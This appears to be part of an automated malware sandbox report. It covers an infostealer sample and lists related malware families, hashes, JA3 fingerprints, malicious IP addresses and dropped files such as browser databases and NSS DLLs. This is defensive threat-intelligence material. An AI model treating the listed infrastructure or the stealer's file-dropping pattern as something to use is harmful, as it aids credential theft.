	random.exe_Y.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	stealc_default2.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.17
WHOLESALECONNECTIONSNL	goldlummaa.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	cred.dll	Get hash	malicious	Amadey	Browse	185.215.113.209
	xxz.exe	Get hash	malicious	Xmrig	Browse	185.215.113.117
	88aext0k.exe	Get hash	malicious	Xmrig	Browse	185.215.113.217
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse	185.215.113.17
	am209.exe	Get hash	malicious	Amadey	Browse	185.215.113.209
	cred64.dll.dll	Get hash	malicious	Amadey	Browse	185.215.113.209
	random.exe_Y.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	stealc_default2.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.17

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	Ball - Temp.data for GCMs.doc	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	urS3jQ9qb5.jar	Get hash	malicious	Can Stealer	Browse	23.1.237.91
	0J3fAc6cHO.lnk	Get hash	malicious	RHADAMANTHYS	Browse	23.1.237.91
	T0x859fNfn.exe	Get hash	malicious	Vidar	Browse	23.1.237.91
	NOTIFICATION_OF_DEPENDANTS.vbs	Get hash	malicious	Unknown	Browse	23.1.237.91
	DVW8WyapUR.exe	Get hash	malicious	Spyrix Keylogger	Browse	23.1.237.91
	#U661f#U8fb0#U9b54#U57df.exe	Get hash	malicious	Metasploit	Browse	23.1.237.91
	Employee Bonus for Ronnie.benton.docx	Get hash	malicious	Unknown	Browse	23.1.237.91
	9ITJSe7JI2.doc	Get hash	malicious	Unknown	Browse	23.1.237.91
	KoyoCaFyPF.doc	Get hash	malicious	Unknown	Browse	23.1.237.91
a0e9f5d64349fb13191bc781f81f42e1	ji2xlo1f.exe	Get hash	malicious	LummaC	Browse	172.67.179.109 104.21.12.88
	f86nrrc6.exe	Get hash	malicious	LummaC	Browse	172.67.179.109 104.21.12.88
	Armanivenntii_crypted_EASY.exe	Get hash	malicious	LummaC	Browse	172.67.179.109 104.21.12.88
	random.exe.2.exe	Get hash	malicious	LummaC	Browse	172.67.179.109 104.21.12.88
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	172.67.179.109 104.21.12.88
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	172.67.179.109 104.21.12.88
	goldlummaa.exe	Get hash	malicious	LummaC	Browse	172.67.179.109 104.21.12.88
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.179.109 104.21.12.88
	InstallSetup.exe	Get hash	malicious	LummaC	Browse	172.67.179.109 104.21.12.88
	ScreenUpdateSync.exe	Get hash	malicious	LummaC	Browse	172.67.179.109 104.21.12.88

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse
	stealc_default2.exe	Get hash	malicious	Stealc, Vidar	Browse
	V65xPrgEHH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse
	6aTAU3Dzp6.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse
	4TPPuMwzSA.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\CFIEHCFIECBGCBFHIJJK

Download File

Process:	C:\Users\user\Desktop\random.exe.7.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBKFHJEBAAEBGDGDBFBGIEBAAA

Download File

Process:	C:\Users\user\Desktop\random.exe.7.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECAKKKKJDBKKFIEBKEHD

Download File

Process:	C:\Users\user\Desktop\random.exe.7.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGHCBKKK

Download File

Process:	C:\Users\user\Desktop\random.exe.7.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHIJJJEGDBFHDHJJDBAKKJJECA

Download File

Process:	C:\Users\user\Desktop\random.exe.7.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIDGCFBFBFBKEBGCAFCG

Download File

Process:	C:\Users\user\Desktop\random.exe.7.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\IJJJKEGH

Download File

Process:	C:\Users\user\Desktop\random.exe.7.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\random.exe.7.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: random.exe.6.exe, Detection: malicious, Browse Filename: stealc_default2.exe, Detection: malicious, Browse Filename: V65xPrgEHH.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 6aTAU3Dzp6.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 4TPPuMwzSA.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\random.exe.7.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\random.exe.7.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\random.exe.7.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\random.exe.7.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\random.exe.7.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Cq6Id6x.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	617
Entropy (8bit):	5.3554278163807965
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAt92n4M9XKbbDLI4MWuPJKAVKharkvoDLI4MWuCv:ML9E4Ke84qXKDE4KhKiKhIE4Ks
MD5:	783B5197F36053BBA046C2EF2515F80E
SHA1:	49CB890E4C6536FD79EF1C7BE83949509B37A824
SHA-256:	9513A3E5E55C5471F606E5E0B06C46CD4E357F46602BBF43F24E1E70572F5F91
SHA-512:	6ACD461D38A8F665E6CF4B585B720ABEB0B3F8556C817E576991DF758D9FFE68479B2E634EB60223C7B7909F34C7A1853F13F0CEE3CB4F7C5951228A91BE24C4
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\17fb1ea0-d946-42be-b56d-29d753cb6538.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44608
Entropy (8bit):	6.09610635447593
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBIwuehDO6vP6OOhz5pjjQzuu7cGoup1Xl3jVzXr4z:z/Ps+wsI7ynEa6uhz5pEchu3VlXr4CRg
MD5:	CF70DE4CC2673DC2669BE9E74201BDE1
SHA1:	980EAB10CBA08645E8EE11EF7A468A5F718DAC36
SHA-256:	1E2817ED8D25CEAD687AB8A907C8B694AF35C4DE92F76ED1088F2C4839EF2D9C
SHA-512:	A69A8B018DE0E9F60011ED8C60A7E77703DEE69DB6E05006A5194EFB74CFFB05A061CCACB6736AF214ED41C2D88A601779B6BFA573C24956744F979498099DA6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\5f41532b-6a40-4be0-9b7b-9f5ea40ac836.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44631
Entropy (8bit):	6.095649246099315
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkB6wuehDO6vP6OOhz5pHGmWrfFkqukcGoup1Xl3jVu:z/Ps+wsI7ynEA6uhz5pqchu3VlXr4CRg
MD5:	173BDBBEEBE2E3FBF8C8A7B6F226E9AA
SHA1:	461FBF9C36DB519680D1B33CF6286739C228E99E
SHA-256:	58C7F0A8D657CF04436E08F015891A268E20D5FA7BC1C6D2102760851E473371
SHA-512:	89C4133292FCC5B2EDC6BD85A2A7F1F60C482A88350B159C8CB267B8A9F0BD3C29835E1BF4B98CCDF3EDDBF858C31D41718630749D16492C51E570216F4C8E93
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\96addc9d-7f29-449f-9680-ba0c3c3d47ab.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44631
Entropy (8bit):	6.095649246099315
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkB6wuehDO6vP6OOhz5pHGmWrfFkqukcGoup1Xl3jVu:z/Ps+wsI7ynEA6uhz5pqchu3VlXr4CRg
MD5:	173BDBBEEBE2E3FBF8C8A7B6F226E9AA
SHA1:	461FBF9C36DB519680D1B33CF6286739C228E99E
SHA-256:	58C7F0A8D657CF04436E08F015891A268E20D5FA7BC1C6D2102760851E473371
SHA-512:	89C4133292FCC5B2EDC6BD85A2A7F1F60C482A88350B159C8CB267B8A9F0BD3C29835E1BF4B98CCDF3EDDBF858C31D41718630749D16492C51E570216F4C8E93
Malicious:	false
